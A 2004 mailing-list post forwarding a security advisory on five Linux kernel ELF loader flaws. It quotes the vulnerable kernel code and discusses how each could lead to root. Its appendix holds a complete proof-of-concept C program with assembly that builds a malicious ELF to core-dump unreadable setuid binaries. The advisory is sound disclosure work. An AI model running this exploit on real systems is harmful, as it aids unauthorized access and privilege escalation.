[ale] Fwd: Linux ELF loader vulnerabilities

Jim Popovitch jimpop at yahoo.com
Thu Nov 11 13:42:16 EST 2004


Further reporting suggests that these "vulnerabilities" exist in 2.6.9
too.

-Jim P.

On Wed, 2004-11-10 at 13:33 -0500, Jim Popovitch wrote:
> Interesting:
> 
> -------- Forwarded Message --------
> To: full-disclosure at lists.netsys.com, bugtraq at securityfocus.com
> Subject: Linux ELF loader vulnerabilities
> Date: Wed, 10 Nov 2004 12:59:25 +0100 (CET)
> 
> -----BEGIN PGP SIGNED MESSAGE-----
> Hash: SHA1
> 
> 
> Synopsis:  Linux kernel binfmt_elf loader vulnerabilities
> Product:   Linux kernel
> Version:   2.4 up to to and including 2.4.27, 2.6 up to to and
>            including 2.6.8
> Vendor:    http://www.kernel.org/
> URL:       http://isec.pl/vulnerabilities/isec-0017-binfmt_elf.txt
> CVE:       not assigned
> Author:    Paul Starzetz <ihaquer at isec.pl>
> Date:      Nov 10, 2004
> 
> 
> Issue:
> ======
> 
> Numerous  bugs  have  been  found  in  the Linux ELF binary loader while
> handling setuid binaries.
> 
> 
> Details:
> ========
> 
> On Unix like systems the execve(2) system call provides functionality to
> replace  the  current process by a new one (usually found in binary form
> on the disk) or in other words to execute a new program.
> 
> Internally the Linux  kernel  uses  a  binary  format  loader  layer  to
> implement  the  low level format dependend functionality of the execve()
> system call. The common execve code contains just few  helper  functions
> used  to  load  the  new binary and leaves the format specific work to a
> specialized binary format loader.
> 
> One of the Linux format loaders is  the  ELF  (Executable  and  Linkable
> Format)  loader.  Nowadays ELF is the standard format for Linux binaries
> besides the a.out binary format, which is not used in practice  anymore.
> 
> One  of  the  functions  of a binary format loader is to properly handle
> setuid executables, that is executables with the setuid bit set  on  the
> file  system  image  of  the executable. It allows execution of programs
> under a different user ID than the user issuing the execve call  but  is
> some lacy work from security point of view.
> 
> Every ELF binary contains an ELF header defining the type and the layout
> of the program in memory  as  well  as  addition  sections  (like  which
> program interpreter to load, symbot table, etc). The ELF header normally
> contains information about the entry point (start address) of the binary
> and the position of the memory map header (phdr) in the binary image and
> the program  interpreter  (that  is  normally  the  dynamic  linker  ld-
> linux.so).  The  memory  map  header  definies the memory mapping of the
> executable file that can be seen later from /proc/self/maps.
> 
> We have indentified 5 different flaws in the  Linux  ELF  binary  loader
> (linux/fs/binfmt_elf.c all line numbers for 2.4.27):
> 
> 
> 1)  wrong  return value check while filling kernel buffers (loop to scan
> the binary header for an interpreter section):
> 
> static int load_elf_binary(struct linux_binprm * bprm, struct pt_regs * regs)
> {
>        size = elf_ex.e_phnum * sizeof(struct elf_phdr);
>        elf_phdata = (struct elf_phdr *) kmalloc(size, GFP_KERNEL);
>        if (!elf_phdata)
>               goto out;
> 
> 477:   retval = kernel_read(bprm->file, elf_ex.e_phoff, (char *) elf_phdata, size);
>        if (retval < 0)
>               goto out_free_ph;
> 
> The above code looks good on the  first  glance,  however  checking  the
> return  value  of  kernel_read (which calls file->f_op->read) to be non-
> negative is not sufficient since a read() can perfectly return less than
> the  requested  buffer  size  bytes. This bug happens also on lines 301,
> 523, 545 respectively.
> 
> 
> 2) incorrect on error behaviour, if the mmap() call fails (loop to  mmap
> binary sections into memory):
> 
> 645:   for(i = 0, elf_ppnt = elf_phdata; i < elf_ex.e_phnum; i++, elf_ppnt++) {
> 684:          error = elf_map(bprm->file, load_bias + vaddr, elf_ppnt, elf_prot, elf_flags);
>               if (BAD_ADDR(error))
>                      continue;
> 
> 
> 3)  bad return value vulnerability while mapping the program intrepreter
> into memory:
> 
> 301:   retval = kernel_read(interpreter,interp_elf_ex->e_phoff,(char *)elf_phdata,size);
>        error = retval;
>        if (retval < 0)
>               goto out_close;
> 
>        eppnt = elf_phdata;
>        for (i=0; i<interp_elf_ex->e_phnum; i++, eppnt++) {
>            map_addr = elf_map(interpreter, load_addr + vaddr, eppnt, elf_prot, elf_type);
> 322:       if (BAD_ADDR(map_addr))
>               goto out_close;
> out_close:
>        kfree(elf_phdata);
> out:
>        return error;
> }
> 
> 
> 4) the loaded interpreter section can contain an interpreter name string
> without the terminating NULL:
> 
> 508:        for (i = 0; i < elf_ex.e_phnum; i++) {
> 518:                 elf_interpreter = (char *) kmalloc(elf_ppnt->p_filesz,
>                                                            GFP_KERNEL);
>                         if (!elf_interpreter)
>                                 goto out_free_file;
> 
>                         retval = kernel_read(bprm->file, elf_ppnt->p_offset,
>                                            elf_interpreter,
>                                            elf_ppnt->p_filesz);
>                         if (retval < 0)
>                                 goto out_free_interp;
> 
> 
> 5)  bug  in  the  common  execve()  code  in  exec.c:  vulnerability  in
> open_exec() permitting reading of non-readable ELF binaries,  which  can
> be triggered by requesting the file in the ELF PT_INTERP section:
> 
> 541:          interpreter = open_exec(elf_interpreter);
>               retval = PTR_ERR(interpreter);
>               if (IS_ERR(interpreter))
>                      goto out_free_interp;
>               retval = kernel_read(interpreter, 0, bprm->buf, BINPRM_BUF_SIZE);
> 
> 
> Discussion:
> =============
> 
> 1)  The  Linux  man  pages state that a read(2) can return less than the
> requested number of bytes, even zero. It  is  not  clear  how  this  can
> happen  while  reading  a  disk  file  (in contrast to network sockets),
> however here some thoughts:
> 
> - - if we trick read to fill the elf_phdata buffer  with  less  than  size
> bytes,  the remaining part of the buffer will contain some garbage data,
> that is data from the previous kernel object, which occupied that memory
> area.
> 
> Therefore  we  could  arbitrarily modify the memory layout of the binary
> supplying a suitable header  information  in  the  kernel  buffer.  This
> should  be  sufficient  to  gain controll over the flow of execution for
> most of the setuid binaries around.
> 
> - - on Linux a disk read goes through the page cache. That is, a disk read
> can  easily  fail  on  a page boundary due to a low memory condition. In
> this case read will return less than the requested number of  bytes  but
> still indicate success (ret>0).
> 
> - -  most  of  the  standard  setuid  binaries  on  a  'normal' i386 Linux
> installation have ELF headers stored below the  4096th  byte,  therefore
> they are probably not exploitable on i386 architecture.
> 
> 
> 2) This bug can lead to a incorrectly mmaped binary image in the memory.
> There are various reasons why a mmap() call can fail:
> 
> - - a temporary low memory condition, so that the allocation of a new  VMA
> descriptor fails
> 
> - -  memory  limit  (RLIMIT_AS) excedeed, which can be easily manpipulated
> before calling execve()
> 
> - - file locks held for the binary file in question
> 
> Security implications in the case of a setuid binary are quite  obvious:
> we  may  end  up with a binary without the .text or .bss section or with
> those sections shifted (in the case they are not 'fixed'  sections).  It
> is  not  clear  which  standard  binaries  are exploitable however it is
> sufficient that at some point we come over some instructions  that  jump
> into  the  environment area due to malformed memory layout and gain full
> controll over the setuid application.
> 
> 
> 3) This bug is similar to 2) however the code  incorrectly  returns  the
> kernel_read  status  to  the calling function on mmap failure which will
> assume that the program interpreter has been loaded. That means that the
> kernel  will  start  the  execution of the binary file itself instead of
> calling the program interpreter (linker) that have to finish the  binary
> loading from user space.
> 
> We  have  found  that  standard  Linux  (i386, GCC 2.95) setuid binaries
> contain code that will jump to the EIP=0 address and crash (since  there
> is no virtual memory mapped there), however this may vary from binary to
> binary as well from architecture  to  architecture  and  may  be  easily
> exploitable.
> 
> 
> 4) This bug leads to internal kernel file system functions beeing called
> with an argument string  exceeding  the  maximum  path  size  in  length
> (PATH_MAX). It is not clear if this condition is exploitable.
> 
> An  user may try to execute such a malicious binary with an unterminated
> interpreter name string and trick the kernel memory manager to return  a
> memory  chunk  for  the  elf_interpreter variable followed by a suitable
> longish path name (like ./././....). Our experiments show  that  it  can
> lead to a preceivable system hang.
> 
> 
> 5)  This  bug  is  similar  to the shared file table race [1]. We give a
> proof-of-concept code at the end of this article that  just  core  dumps
> the non-readable but executable ELF file.
> 
> An user may create a manipulated ELF binary that requests a non-readable
> but executable file as program intrepreter and gain read access  to  the
> privileged  binary.  This  works  only  if the file is a valid ELF image
> file, so it is not possible to read a data file that has the execute bit
> set  but the read bit cleared. A common usage would be to read exec-only
> setuid binaries to gain offsets for further exploitation.
> 
> 
> Impact:
> =======
> 
> Unprivileged users may gain elevated (root) privileges.
> 
> 
> Credits:
> ========
> 
> Paul Starzetz <ihaquer at isec.pl> has  identified  the  vulnerability  and
> performed  further  research. COPYING, DISTRIBUTION, AND MODIFICATION OF
> INFORMATION PRESENTED HERE IS ALLOWED ONLY WITH  EXPRESS  PERMISSION  OF
> ONE OF THE AUTHORS.
> 
> 
> Disclaimer:
> ===========
> 
> This  document and all the information it contains are provided "as is",
> for educational purposes only, without warranty  of  any  kind,  whether
> express or implied.
> 
> The  authors reserve the right not to be responsible for the topicality,
> correctness, completeness or quality of  the  information   provided  in
> this  document.  Liability  claims regarding damage caused by the use of
> any information provided, including any kind  of  information  which  is
> incomplete or incorrect, will therefore be rejected.
> 
> 
> Appendix:
> =========
> 
> /*
>  *
>  *	binfmt_elf executable file read vulnerability
>  *
>  *	gcc -O3 -fomit-frame-pointer elfdump.c -o elfdump
>  *
>  *	Copyright (c) 2004  iSEC Security Research. All Rights Reserved.
>  *
>  *	THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS"
>  *	AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION
>  *	WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.
>  *
>  */
> 
> 
> 
> #include <stdio.h>
> #include <stdlib.h>
> #include <string.h>
> #include <fcntl.h>
> #include <unistd.h>
> 
> #include <sys/types.h>
> #include <sys/resource.h>
> #include <sys/wait.h>
> 
> #include <linux/elf.h>
> 
> 
> #define BADNAME "/tmp/_elf_dump"
> 
> 
> 
> void usage(char *s)
> {
> 	printf("\nUsage: %s executable\n\n", s);
> 	exit(0);
> }
> 
> //	ugly mem scan code :-)
> static volatile void bad_code(void)
> {
> __asm__(
> //		"1:		jmp 1b \n"
> 		"		xorl	%edi, %edi		\n"
> 		"		movl	%esp, %esi		\n"
> 		"		xorl	%edx, %edx		\n"
> 		"		xorl	%ebp, %ebp		\n"
> 		"		call	get_addr		\n"
> 
> 		"		movl	%esi, %esp		\n"
> 		"		movl	%edi, %ebp		\n"
> 		"		jmp	inst_sig		\n"
> 
> 		"get_addr:	popl	%ecx			\n"
> 
> //	sighand
> 		"inst_sig:	xorl	%eax, %eax		\n"
> 		"		movl	$11, %ebx		\n"
> 		"		movb	$48, %al		\n"
> 		"		int	$0x80			\n"
> 
> 		"ld_page:	movl	%ebp, %eax		\n"
> 		"		subl	%edx, %eax		\n"
> 		"		cmpl	$0x1000, %eax		\n"
> 		"		jle	ld_page2		\n"
> 
> //	mprotect
> 		"		pusha				\n"
> 		"		movl	%edx, %ebx		\n"
> 		"		addl 	$0x1000, %ebx		\n"
> 		"		movl	%eax, %ecx		\n"
> 		"		xorl	%eax, %eax		\n"
> 		"		movb	$125, %al		\n"
> 		"		movl	$7, %edx		\n"
> 		"		int	$0x80			\n"
> 		"		popa				\n"
> 
> 		"ld_page2:	addl	$0x1000, %edi		\n"
> 		"		cmpl	$0xc0000000, %edi	\n"
> 		"		je	dump			\n"
> 		"		movl	%ebp, %edx		\n"
> 		"		movl	(%edi), %eax		\n"
> 		"		jmp	ld_page			\n"
> 
> 		"dump:		xorl	%eax, %eax		\n"
> 		"		xorl	%ecx, %ecx		\n"
> 		"		movl	$11, %ebx		\n"
> 		"		movb	$48, %al		\n"
> 		"		int	$0x80			\n"
> 		"		movl	$0xdeadbeef, %eax	\n"
> 		"		jmp	*(%eax)			\n"
> 
> 	);
> }
> 
> 
> static volatile void bad_code_end(void)
> {
> }
> 
> 
> int main(int ac, char **av)
> {
> struct elfhdr eh;
> struct elf_phdr eph;
> struct rlimit rl;
> int fd, nl, pid;
> 
> 	if(ac<2)
> 		usage(av[0]);
> 
> //	make bad a.out
> 	fd=open(BADNAME, O_RDWR|O_CREAT|O_TRUNC, 0755);
> 	nl = strlen(av[1])+1;
> 	memset(&eh, 0, sizeof(eh) );
> 
> //	elf exec header
> 	memcpy(eh.e_ident, ELFMAG, SELFMAG);
> 	eh.e_type = ET_EXEC;
> 	eh.e_machine = EM_386;
> 	eh.e_phentsize = sizeof(struct elf_phdr);
> 	eh.e_phnum = 2;
> 	eh.e_phoff = sizeof(eh);
> 	write(fd, &eh, sizeof(eh) );
> 
> //	section header(s)
> 	memset(&eph, 0, sizeof(eph) );
> 	eph.p_type = PT_INTERP;
> 	eph.p_offset = sizeof(eh) + 2*sizeof(eph);
> 	eph.p_filesz = nl;
> 	write(fd, &eph, sizeof(eph) );
> 
> 	memset(&eph, 0, sizeof(eph) );
> 	eph.p_type = PT_LOAD;
> 	eph.p_offset = 4096;
> 	eph.p_filesz = 4096;
> 	eph.p_vaddr = 0x0000;
> 	eph.p_flags = PF_R|PF_X;
> 	write(fd, &eph, sizeof(eph) );
> 
> //	.interp
> 	write(fd, av[1], nl );
> 
> //	execable code
> 	nl = &bad_code_end - &bad_code;
> 	lseek(fd, 4096, SEEK_SET);
> 	write(fd, &bad_code, 4096);
> 	close(fd);
> 
> //	dump the shit
> 	rl.rlim_cur = RLIM_INFINITY;
> 	rl.rlim_max = RLIM_INFINITY;
> 	if( setrlimit(RLIMIT_CORE, &rl) )
> 		perror("\nsetrlimit failed");
> 	fflush(stdout);
> 	pid = fork();
> 	if(pid)
> 		wait(NULL);
> 	else
> 		execl(BADNAME, BADNAME, NULL);
> 
> 	printf("\ncore dumped!\n\n");
> 	unlink(BADNAME);
> 
> return 0;
> }
> 
> - -- 
> Paul Starzetz
> iSEC Security Research
> http://isec.pl/
> 
> -----BEGIN PGP SIGNATURE-----
> Version: GnuPG v1.0.7 (GNU/Linux)
> 
> iD8DBQFBkgKiC+8U3Z5wpu4RAts9AKCYBrBfOXG/XuTdKr7Aw/WKJwIBUgCffAvH
> NgTqTlQ2xmIfX6P5JXMpqqs=
> =WF4V
> -----END PGP SIGNATURE-----
> 
> 
> 
> _______________________________________________
> Ale mailing list
> Ale at ale.org
> http://www.ale.org/mailman/listinfo/ale



More information about the Ale mailing list